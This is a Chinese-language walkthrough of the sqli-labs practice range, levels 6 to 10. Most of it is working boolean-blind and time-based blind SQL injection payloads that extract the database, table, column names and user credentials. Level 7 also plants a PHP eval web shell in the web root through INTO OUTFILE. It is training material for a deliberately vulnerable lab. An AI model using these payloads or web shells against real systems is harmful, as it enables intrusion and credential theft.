第六关:less-6
1.判断闭合点
?id=1 //页面回显正常
?id=1' //页面回显正常
?id=1" //页面回显错误
说明闭合点是"
2.判断列数
?id=1" order by 3--+ //页面回显正常
?id=1" order by 4--+ //页面回显错误
说明存在3列
3.判断回显位
?id=-1" union select 1,2,3--+ //页面无变化,即没有回显位
推荐采用布尔盲注
4.判断数据库库名的长度和字符(布尔盲注)
?id=1" and length(database())=1--+ //页面无回显
......
......
?id=1" and length(database())=8--+ //页面回显正常
得出数据库库名的长度为8
?id=1" and substr(database(),1,1)='a'--+ //页面无回显
......
......
?id=1" and substr(database(),1,1)='s'--+ //页面回显正常
得出数据库的第一位字母为s
这里更推荐使用acsii码来判断字符
由于过程太长,接下来使用Bp爆破工具进行破译(如何安装Bp和如何使用之后会讲,本文章只讲靶场)
通过爆破得到数据库库名为security
5.判断数据库中的表
?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+ //页面回显错误
......
......
?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'--+ //页面回显正常
因为我们不知道库中有多少表,并且我们用group_concat()函数进行查询,结果会一起返回并用','连接
所以我们在爆破时应加入','
根据爆破结果,我们得出表名分别为emails,referers,uagents,users
6.判断user表中的字段
?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a'--+
//回显错误
......
......
?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i'--+
//回显正常
依次爆破
得到user表的三个字段分别为id,username,password
7.爆出数据
?id=1" and substr((select group_concat(username,'~',password) from users),1,1)='a'--+ //回显错误
进行BP爆破
爆破后得到表中数据为
通关!!!!
第七关:less-7
1.判断闭合点
?id=1'--+ //回显错误
?id=1')--+ //回显错误
?id=1'))--+ //回显正常
判断出闭合点为'))
2.判断列数
?id=3')) order by 3--+ //回显正常
?id=3')) order by 4--+ //回显错误
因此判断出有三列
3.插入一句话木马
本关提示使用outfile插入木马过关
因此我们需要知道自己靶场的网站文件位置
我这里是D:\phpstudy_pro\WWW
?id=-1')) union select 1,'<?php @eval($_POST['c']);?>',3 into outfile "D:/phpstudy_pro/WWW/6.php"--+
我们写好的一句话木马已经植入成功
我们可以用中国菜刀进行连接
通关!!!
第八关:less-8
1.判断闭合点
?id=1 //页面回显正常
?id=1' //页面回显错误
?id=1'--+ //页面回显正常
可以知道闭合点是'
2.判断列数
?id=1' order by 3--+ //页面回显正常
?id=1' order by 4--+ //页面回显错误
判断出有3列
3.判断回显位
因为此页面无任何回显,因此采用布尔盲注,和第6关步骤相同
第九关:less-9
1.确定回显信息
分别输入
?id=1 //回显正常
?id=2 //回显正常
?id=1' //回显正常
?id=2' //回显正常
?id=1" //回显正常
?id=2" //回显正常
页面回显信息完全不变,存在时间盲注
基于时间的盲注也叫做延时注入,数据交互完成以后目标网站没有错误和正确的页面回显;
那么我们可以考虑"绝招"---》延时注入 ,其利⽤条件较为苛刻,这种情况我们可以利用时间函数来判断数据有没有在⽬标数据中得到执行,当然也需要构造闭合......
注:使⽤条件:完全没有变化的页面!!!
# MySQL函数
sleep()函数 ⽹⻚延迟n秒后,输出结果
if()函数 条件判断函数
if(a,b,c) if判断句,a为条件,b、c为执⾏语句;如果a为真就执⾏b,a为假就执⾏c;
ascii()函数/ord()函数 将某个字符串转化为ascii值
length()函数 获取字符串的⻓度
substr()/substring()/mid()函数
此函数是⽤来截取字符串⼀部分。substr(column_name,start,[length]),length为可选项。
2.利用时间函数判断闭合点
?id=1 and sleep(4)--+ //时间函数未执行
?id=1' and sleep(4)--+ //时间函数执行
判断出闭合点为'
3.利用时间函数判断数据库长度并开始猜测数据库库名
?id=1' and if(length(database())>5,sleep(4),1) --+
sleep函数被执行,得知数据库长度>5
?id=1' and if(length(database())<10,sleep(4),1) --+
判断数据库长度在5和10之间(包括5和10)
利用二分法快速定位数据库长度
?id=1' and if(length(database())<7,sleep(4),1) --+
sleep函数未执行,判断数据库长度在7和10之间
?id=1' and if(length(database())=8,sleep(4),1) --+
由此得知数据库长度为8
接下来开始猜测数据库库名
# 使⽤ASCII码猜解数据库的名称
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(4),0)--+ //第⼀位
?id=1' and if((ascii(substr(database(),2,1))=101),sleep(4),0)--+ //第⼆位
?id=1' and if((ascii(substr(database(),3,1))=99),sleep(4),0)--+ //第三位
数据过多,利用bp抓包工具进行测试,按Ctrl+i发送到intruder
设置好参数开始攻击
在列中打开响应完成
通过响应完成降序排列,得到数据
对照ASCII码表,得知数据库库名为security
4.判断当前数据表中字段的个数
?id=1' and sleep(4) order by 4--+ //未执行sleep函数
?id=1' and sleep(4) order by 3--+ //sleep函数被执行
判断出当前数据表中的字段个数为3
5.判断数据库中数据表的个数
?id=1' and if((select count(table_name)from information_schema.tables where table_schema='security')=3,sleep(4),1) --+ //sleep函数未执行
?id=1' and if((select count(table_name)from information_schema.tables where table_schema='security')=4,sleep(4),1) --+ //sleep函数被执行
由此判断出security数据库中有4张数据表
6.依次获取其表的长度与表的名称
因数据过多,利用BP抓包工具进行爆破工具
# 获取表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 0,1))=6,sleep(4),0)--+ //第⼀个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 1,1))=8,sleep(4),0)--+ //第⼆个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 2,1))=7,sleep(4),0)--+ //第三个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 3,1))=5,sleep(4),0)--+ //第四个表的⻓度
# 获取表的名称
//查询第四个表的表名第⼀位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),1,1))=117,sleep(4),0)--+
//查询第四个表的表名第⼆位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),2,1))=115,sleep(4),0)--+
通过BP抓包得知四个数据表的表名长度分别为6,8,7,5
通过BP爆破得知四张表的表名分别为
emails,referers,uagents,users
7.判断字段长度与字段内容
# 判断字段⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(4),0)--+ //判断第⼀个字段⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(4),0)--+ //判断第⼆个字段的⻓度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8,sleep(4),0)--+ //判断第三个字段的⻓度
# 判断第⼆个字段名内容
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(4),0)--+ //第⼀位
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115,sleep(4),0)--+ //第⼆位
数据过多,利用BP进行爆破攻击
通过BP爆破得知三个字段的长度分别为2,8,8
通过BP爆破得知三个字段名分别为id,username,password
8.判断数据表中数据的个数
?id=1' and if((select count(id)from security.users)=13,sleep(4),1) --+
使用BP爆破得知数据表中的数据个数为13个
9.爆出数据
?id=1' and if(ascii(substr((select id from security.users limit 0,1),1,1))=49,sleep(4),1)--+ #id字段的第一个数据的第一位
?id=1' and if(ascii(substr((select id from security.users limit 1,1),1,1))=50,sleep(4),1)--+ #id字段的第二个数据的第一位
?id=1' and if(ascii(substr((select id from security.users limit 9,1),2,1))=48,sleep(4),1)--+ #id字段的第十个数据的第二位
利用BP爆破得知
id分别为1-12,14(共13个)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+ #username字段的第一条数据的第一位
?id=1' and if(ascii(substr((select username from users limit 0,1),2,1))=117,sleep(5),1) --+ #username字段的第一条数据的第二位
?id=1' and if(ascii(substr((select username from users limit 1,1),3,1))=103,sleep(5),1) --+ #username字段的第二条数据的第三位
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) --+ #password字段的第一条数据的第一位
?id=1' and if(ascii(substr((select password from users limit 0,1),2,1))=117,sleep(5),1) --+ #password字段的第一条数据的第二位
?id=1' and if(ascii(substr((select password from users limit 1,1),3,1))=117,sleep(5),1) --+ #password字段的第二条数据的第三位
将所得数据列成表格
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4
10.第十关:less-10
1.判断是否存在时间注入
?id=1 //回显正常
?id=2 //回显正常
?id=1' //回显正常
?id=2' //回显正常
?id=1" //回显正常
?id=2" //回显正常
页面完全无任何变化,判断存在时间注入
2.利用时间函数判断闭合点
?id=1 and sleep(4) --+ //sleep函数未执行
?id=1' and sleep(4) --+ //sleep函数未执行
?id=1" and sleep(4) --+ //sleep函数被执行
判断闭合点为"
3.判断数据库长度及名称
?id=1" and if(length(database())=8,sleep(4),1)--+ //sleep函数被执行
可利用BP爆破进行测试长度
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(4),1)--+ //第一位
?id=1" and if(ascii(substr(database(),2,1))=101,sleep(4),1)--+ //第二位
?id=1" and if(ascii(substr(database(),3,1))=99,sleep(4),1)--+ //第三位
通过BP得知数据库库名为security
4.判断数据库中数据表的个数
?id=1" and if((select count(table_name)from information_schema.tables where table_schema='security')=3,sleep(4),1)--+ //sleep函数未执行
?id=1" and if((select count(table_name)from information_schema.tables where table_schema='security')=4,sleep(4),1)--+ //sleep函数被执行
由此判断当前security数据库中存在4张数据表
5.依次判断数据表的长度和名称
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(4),1)--+ //第一张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(4),1)--+ //第二张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7,sleep(4),1)--+ //第三张表的长度
?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(4),1)--+ //第四章表的长度
通过时间注入得知四张表的长度分别为6,8,7,5
#判断每张数据表的名称
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(4),1)--+ //第一张数据表的第一位
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(4),1)--+ //第一张数据表的第二位
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),3,1))=102,sleep(4),1)--+ //第二张数据表的第三位
最后得出四张表的名称分别为emails,referers,uagents,users
6.判断数据表中的字段个数,长度和名称
?id=1" and sleep(4) order by 4 --+ //sleep函数未执行
?id=1" and sleep(4) order by 3 --+ //sleep函数被执行
得知数据表中有三个字段
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1))=2,sleep(4),1) --+ //第一个字段的长度
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1))=8,sleep(4),1) --+ //第二个字段的长度
?id=1" and if(length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1))=8,sleep(4),1) --+ //第三个字段的长度
得知数据表中的三个字段长度分别为2,8,8
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(4),0)--+ //第一个字段的第一位
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100,sleep(4),0)--+ //第一个字段的第二位
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3,1))=101,sleep(4),0)--+ //第二个字段的第三位
得知数据表的三个字段分别为id,username,password